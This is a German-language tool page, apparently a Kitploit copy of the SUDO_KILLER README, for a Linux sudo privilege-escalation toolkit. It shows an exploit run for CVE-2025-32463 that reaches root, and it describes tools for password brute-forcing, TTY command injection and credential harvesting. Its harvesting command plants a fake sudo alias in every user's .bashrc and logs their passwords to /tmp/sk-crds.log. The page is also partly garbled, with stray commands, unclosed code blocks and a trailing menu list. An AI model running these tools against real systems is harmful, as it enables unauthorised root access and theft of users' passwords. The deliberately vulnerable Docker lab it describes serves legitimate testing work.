SUDO_KILLER — Ein Tool, das entwickelt wurde, um eine Privilegieneskalations-Schwachstelle im sudo-Programm auf Unix-ähnlichen Systemen auszunutzen. Es nutzt eine spezifische Fehlkonfiguration oder einen Fehler in sudo aus, um erhöhte Privilegien auf dem System zu erlangen, wodurch ein normaler Benutzer im Grunde Befehle als Root-Benutzer ausführen kann. | Kitploit

Optionale Argumente:
</br>-c : inkludiert CVE-Prüfungen</br>
-a : inkludiert CVEs zu Drittanbieter-Apps/Geräten </br>
-i : Import (Offline-Modus) von extract.sh </br>
-e : Export von sudo-Regeln/Sudoers-Datei inkludieren </br>
-r : Berichtsname (Ausgabe speichern) </br>
-p : Pfad zum Speichern von Export und Bericht </br>
-s : Benutzerkennwort für sudo-Prüfungen bereitstellen (falls sudo-Regeln ohne aktuelles Benutzerkennwort nicht zugänglich sind) </br>
-h : Hilfe

> [!HINWEIS]
> Es ist zu beachten, dass bei Verwendung des Arguments -c zwei Arten von Prüfungen durchgeführt werden: eine, bei der die identifizierte CVE ausschließlich auf der aktuell verwendeten sudo-Version basiert, und eine andere, bei der auch die Voraussetzungen geprüft werden.
> Sehr oft kann eine sudo-Version anfällig sein, aber für eine erfolgreiche Ausnutzung sind möglicherweise bestimmte Voraussetzungen erforderlich.

> [!HINWEIS]
> Kennwort bereitstellen: Wenn für die Ausführung von sudo -l ein Kennwort erforderlich ist, funktioniert das Skript nicht, wenn Sie kein Kennwort mit dem Argument -s angeben.

<a name="docker"></a>
### Docker (Angreifbare Testumgebung)

<p align="left">
    <img width="25%" src="https://raw.githubusercontent.com/TH3xACE/res/main/SK/docker.gif" alt="-dockerlogo"/>
</p>

Eine Reihe von Docker-Containern wird bereitgestellt, um eine bewusst angreifbare Umgebung zum Testen und zur praktischen Experimentierung mit `SUDO_KILLER` sowie mit den Schwachstellen zu bieten.```shell
service docker start 
docker pull th3xace/sudo_killer_demo3
docker run --rm -it th3xace/sudo_killer_demo3

brew install automake libtool pkg-config openssl jansson libmagic pcre2
``````shell
(This docker is only to test the CVE-2025-32463 (chwoot)) -> Credits to author
$ git clone https://github.com/pr0v3rbs/CVE-2025-32463_chwoot.git
$ cd CVE-2025-32463_chwoot

# Build and run Docker image (tagged "sudo-chwoot")
$ service docker start 
$ ./run.sh

# Run exploit in container (runs root command directly or drops you into a root shell)
pwn@f722d9182d1f:~$ ./sudo-chwoot.sh id
woot!
uid=0(root) gid=0(root) groups=0(root),1001(pwn)

pwn@f722d9182d1f:~$ ./sudo-chwoot.sh
woot!

root@f722d9182d1f:/# id
uid=0(root) gid=0(root) groups=0(root),1001(pwn)

<a name="videos"></a>
## Videos - Demo

### Setup und Exploitation
Die Playlist finden Sie hier: [https://www.youtube.com/watch?v=Q8iO9mYrfv8&list=PLQPKPAuCA40FMpMKWZLxQydLe7rPL5bml](https://www.youtube.com/watch?v=VjXiLhmOmHs&list=PLQPKPAuCA40ERFDNZ-Ub58SgGHGKAcr26)

> [!IMPORTANT]
> Kurze Videos zur korrekten Durchführung der Tests mit dem bereitgestellten Docker.

<details open>
<summary>
     (zum Ausklappen klicken) Verwendung: So richten Sie die bereitgestellte Testumgebung (Docker) ein und nutzen sie
</summary> <br />
    
<p align="center">
   <a href="https://youtu.be/Q8iO9mYrfv8">  
      <img width="39%" src="https://raw.githubusercontent.com/TH3xACE/res/main/SK3/Slide1.JPG" alt="apis"/>
   </a>
&nbsp;
   <a href="https://youtu.be/VjXiLhmOmHs">  
      <img width="39%" src="https://raw.githubusercontent.com/TH3xACE/res/main/SK3/Slide2.JPG" alt="apis"/>
   </a>
</p>

<p></p>

</p>    
</details>

> [!WARNING]
> Die folgende Videoliste ist nicht vollständig. Für den Zugriff auf alle Videos folgen Sie bitte dem Playlist-Link.

<details open>
<summary>
     Nachfolgend werden mehrere Videos mit verschiedenen Exploit-Szenarien bereitgestellt.
</summary> <br />
    
<p align="center">
   <a href="https://youtu.be/rg6FxPuP8sQ">  
     <img width="39%" src="https://raw.githubusercontent.com/TH3xACE/res/main/SK3/Slide3.JPG" alt="apis"/>
   </a>
&nbsp;
   <a href="https://youtu.be/BBtoBrZdAKk">  
     <img width="39%" src="https://raw.githubusercontent.com/TH3xACE/res/main/SK3/Slide9.JPG" alt="apis"/>
   </a>
</p>

<p align="center">
   <a href="https://youtu.be/XiLsS9v3hy8">  
     <img width="39%" src="https://raw.githubusercontent.com/TH3xACE/res/main/SK3/Slide10.JPG" alt="apis"/>
   </a>
&nbsp;
    <a href="https://youtu.be/eBfIotMsDiI">  
     <img width="39%" src="https://raw.githubusercontent.com/TH3xACE/res/main/SK3/Slide11.JPG" alt="apis"/>
   </a>
</p> 

<p align="center">
   <a href="https://youtu.be/a68dAmgeJnA">  
     <img width="39%" src="https://raw.githubusercontent.com/TH3xACE/res/main/SK3/Slide12.JPG" alt="apis"/>
   </a>
&nbsp;
    <a href="https://youtu.be/CILd01m2GBs">  
     <img width="39%" src="https://raw.githubusercontent.com/TH3xACE/res/main/SK3/Slide13.JPG" alt="apis"/>
   </a>
</p> 

<p align="center">
   <a href="https://youtu.be/4xectsHBfCQ">  
     <img width="39%" src="https://raw.githubusercontent.com/TH3xACE/res/main/SK3/Slide14.JPG" alt="apis"/>
   </a>
&nbsp;
    <a href="https://youtu.be/11q5pzGJxvk">  
     <img width="39%" src="https://raw.githubusercontent.com/TH3xACE/res/main/SK3/Slide15.JPG" alt="apis"/>
   </a>
</p> 

<p align="center">
   <a href="https://youtu.be/BbPBxXy4rKY">  
     <img width="39%" src="https://raw.githubusercontent.com/TH3xACE/res/main/SK3/Slide16.JPG" alt="apis"/>
   </a>
&nbsp;
    <a href="https://youtu.be/sfkxoR2a99o">  
     <img width="39%" src="https://raw.githubusercontent.com/TH3xACE/res/main/SK3/Slide17.JPG" alt="apis"/>
   </a>
</p> 

<p align="center">
   <a href="https://youtu.be/SV2KPd4CA8A">  
     <img width="39%" src="https://raw.githubusercontent.com/TH3xACE/res/main/SK3/Slide18.JPG" alt="apis"/>
   </a>
&nbsp;
    <a href="https://youtu.be/6Lt-wKZmH9c">  
     <img width="39%" src="https://raw.githubusercontent.com/TH3xACE/res/main/SK3/Slide19.JPG" alt="apis"/>
   </a>
</p> 

    
</details>

<a name="CVEs"></a>
## CVEs

<details open>
<summary>
  (zum Ausklappen klicken) CVEs im Zusammenhang mit SUDO, die von SUDO_KILLER erkannt werden (einschließlich Voraussetzungen): 
</summary> <br />

<p align="center">
   <a href="https://youtu.be/THS_bn4MOQY">  
     <img width="39%" src="https://raw.githubusercontent.com/TH3xACE/res/main/SK3/Slide4.JPG" alt="apis"/>
   </a>
&nbsp;
    <a href="https://youtu.be/6VkZaj3FDiE">  
     <img width="39%" src="https://raw.githubusercontent.com/TH3xACE/res/main/SK3/Slide5.JPG" alt="apis"/>
   </a>
</p> 

<p align="center">
   <a href="https://youtu.be/LhqbExt5oq0">  
     <img width="39%" src="https://raw.githubusercontent.com/TH3xACE/res/main/SK3/Slide7.JPG" alt="apis"/>
   </a>
&nbsp;
    <a href="https://youtu.be/AJSSRrGt-Dw">  
     <img width="39%" src="https://raw.githubusercontent.com/TH3xACE/res/main/SK3/Slide8.JPG" alt="apis"/>
   </a>
</p> 
&nbsp;
<p align="center">
   <a href="https://youtu.be/elwGRlN7aCI">  
     <img width="39%" src="https://raw.githubusercontent.com/TH3xACE/res/main/SK3/Slide6.JPG" alt="apis"/>
   </a>
&nbsp;
   <a href="https://youtu.be/usxFNV_kwx8">  
     <img width="39%" src="https://raw.githubusercontent.com/TH3xACE/res/main/SK3/slide31.png" alt="apis"/>
   </a>
&nbsp;
</p> 
<p align="center">
   <a href="https://www.youtube.com/watch?v=FVQc0yoIjHk">  
     <img width="39%" src="https://raw.githubusercontent.com/TH3xACE/res/main/SK3/slide32.png" alt="apis"/>
   </a>
&nbsp;
</p> 



</details>

<details open>
<summary>
  (zum Ausklappen klicken) Aktuelle CVEs von Drittanbieter-Apps/-Geräten im Zusammenhang mit sudo, die von SUDO_KILLER erkannt werden (einschließlich Voraussetzungen): 
</summary> <br />

<p align="center">
   <a href="https://youtu.be/CP0S_7aZHxA">  
     <img width="39%" src="https://raw.githubusercontent.com/TH3xACE/res/main/SK3/Slide27.JPG" alt="apis"/>
   </a>
&nbsp;
    
</p> 



</details>


<a name="sk-tools"></a>
## SK-Tools
Version 3 von `SUDO_KILLER` enthält nun eine Liste von Werkzeugen, die für verschiedene Aufgaben verwendet werden können. Die Skripte befinden sich unter `SUDO_KILLERv3/SUDO_KILLER/SK-Tools/`

- <b><code>SK-ImperBruteForce-NoPwd.sh</code></b>: Führt einen Identitätswechsel-Brute-Force mit Benutzern aus <code>/etc/passwd</code> durch, beginnend mit Benutzer mit UID 1000.
- <b><code>SK-credHarvest2.sh</code></b>: Führt eine Erfassung von Anmeldedaten durch, indem ein gefälschter <code>sudo</code> via Alias erstellt und dann zum echten <code>sudo</code> umgeleitet wird.
- <b><code>SK-app-check.sh</code></b>: Führt die Überprüfung von sudo-Sicherheitslücken in Bezug auf eine bestimmte Drittanbieter-App, ein Gerät oder eine Programmiersprache durch <i>(noch in Arbeit)</i>.
- <b><code>SK-ttyInject.sh</code></b>: Missbraucht TTY-Pushback, sodass, wenn root <code>su -</code> für einen kontrollierten Benutzer verwendet, ein beliebiger Befehl ausgeführt wird.
- <b><code>SK-recursive-impersonate.sh</code></b>: Führt die Identifizierung rekursiver Identitätswechsel mit einer Standardtiefe von 3 durch.
- <b><code>SK-alias-report.sh</code></b>: Führt die Suche nach Aliasen mit verschiedenen Kriterien durch.
- <b><code>SK-csuid-with-sudo.sh</code></b>: Identifiziert benutzerdefinierte SUID-Binärdateien und prüft, ob <code>sudo</code> ohne vollständigen Pfad ausgeführt wird.
- <b><code>SK-su-BruteForce.sh</code></b>: Führt einen Passwort-Brute-Force oder Spray für einen bestimmten Benutzer via <code>sudo</code> durch.
- <b><code>SK-search-sudoers.sh</code></b>: Identifiziert mögliche <code>sudoers</code>-Sicherungsdateien auf dem aktuellen Host.


<details open>
<summary>
     (zum Ausklappen klicken) Verwendung: SK-Tools
</summary> <br />
    
<p align="center">
   <a href="https://youtu.be/Oc1yuploiME">  
     <img width="39%" src="https://raw.githubusercontent.com/TH3xACE/res/main/SK3/Slide20.JPG" alt="apis"/>
   </a>
&nbsp;
    <a href="https://youtu.be/aoofrCyb6KA">  
     <img width="39%" src="https://raw.githubusercontent.com/TH3xACE/res/main/SK3/Slide21.JPG" alt="apis"/>
   </a>
</p> 

<p align="center">
   <a href="https://youtu.be/gUDuZVwVWyU">  
     <img width="39%" src="https://raw.githubusercontent.com/TH3xACE/res/main/SK3/Slide22.JPG" alt="apis"/>
   </a>
&nbsp;
    <a href="https://youtu.be/7VqNCgYvEa0">  
     <img width="39%" src="https://raw.githubusercontent.com/TH3xACE/res/main/SK3/Slide23.JPG" alt="apis"/>
   </a>
</p> 

<p align="center">
   <a href="https://youtu.be/AG1o6s4dEF0">  
     <img width="39%" src="https://raw.githubusercontent.com/TH3xACE/res/main/SK3/Slide24.JPG" alt="apis"/>
   </a>
&nbsp;
    <a href="https://youtu.be/woF68JmJ33c">  
     <img width="39%" src="https://raw.githubusercontent.com/TH3xACE/res/main/SK3/Slide25.JPG" alt="apis"/>
   </a>
</p> 

<p align="center">
   <a href="https://youtu.be/R3_u-G5AyUw">  
     <img width="39%" src="https://raw.githubusercontent.com/TH3xACE/res/main/SK3/Slide26.JPG" alt="apis"/>
   </a>
&nbsp;
    <a href="https://youtu.be/Vpr00SxIVgo">  
     <img width="39%" src="https://raw.githubusercontent.com/TH3xACE/res/main/SK3/Slide28.JPG" alt="apis"/>
   </a>
</p> 

</details>

</br>

### Erfassen von Anmeldedaten via sudo-Umleitung (SK-credHarvest2.sh)
Das Skript SK-credHarvest2.sh aus SK-Tools ermöglicht die Erfassung von Anmeldedaten, indem ein gefälschter sudo via Alias erstellt und dann zum echten sudo umgeleitet wird. Funktioniert derzeit nur für Bash (nicht funktionsfähig/implementiert für ZSH oder andere) auf entsprechend konfigurierten Linux-Systemen.

Die angezeigte Meldung bei der Abfrage von Anmeldedaten bei Verwendung von sudo unterscheidet sich je nach verwendeter Version. Es ist möglich, zwischen zwei Optionen zu wählen (abhängig von der OS-Version). Beispiel der angezeigten Meldung (neu und alt)

> [!TIP]
> (neu) [sudo] Passwort für Benutzer: <br />
> (alt) Passwort:

Für alle Benutzer (auser):
Wenn Sie Root-Rechte oder übermäßige Rechte auf Benutzer-Home-Verzeichnissen haben und eine einfache Möglichkeit zur Sammlung von Anmeldedaten wünschen:```shell
./SK-credHarvest2.sh auser <new|old> ; source /home/*/.bashrc

> [!CAUTION]
> UM das Sammeln von Anmeldeinformationen ZU STOPPEN: führen Sie das gleiche Skript erneut mit demselben Argument aus

Ausgabe: Das Log /tmp/sk-crds.log wird die Anmeldeinformationen enthalten.


### Alias-Überprüfung (SK-alias-report.sh)
Sie benötigen entweder Root-Rechte, Zugriff auf ein Backup der sudoers-Datei oder Lesezugriff auf /etc/sudoers.```shell
Usage: ./SK-alias-sudoers.sh -p <sudoers_path> -k <keyword> [-u] [-r] [-m] [-c] | [-a]
  where -u: user | -r: runas | -m: host | -c: command | -a: all

### Suche nach Backup der Datei sudoers (SK-search-sudoers.sh)
Finde mögliche sudoers-Backup-Dateien in /mnt/ /opt/ /etc/ /etc/ /home/ /app*/ und allen weiteren, die als Argument übergeben werden.```shell
Usage: ./SK-search-sudoers.sh /tmp/

### Binärdateien mit relativem Pfad (SK-relative-path.sh)
Sucht nach Binärdateien mit relativem Pfad, die missbraucht werden können, falls kein secure_path gesetzt ist.```shell
sudo -l
<..snip..>
(root) SETENV: NOPASSWD: /opt/support/purge.sh
<..snip..>

Usage: ./SK-relative-path.sh /opt/support/purge.sh

SUDO_KILLER

Beliebteste

Über

Einführung

Prüfungen

Verwendung

🔧 Installation

Verwendung von YARA-Release-Binärdateien (keine Kompilierung)

YARA aus Quellen kompilieren

Abhängigkeiten installieren

Ubuntu / Debian

CentOS / Red Hat

macOS

Warum ist es möglich, "sudo -l" ohne Passwort auszuführen?

Szenarien

Bruteforce/Password Spray via su (SK-su-BruteForce.sh)

Update dangerous bins - GTFOBINS (SK_dbins_update.sh)

Mitwirken

Stargazers im Laufe der Zeit

Unterstützung

Danksagungen

Haftungsausschluss

Lizenz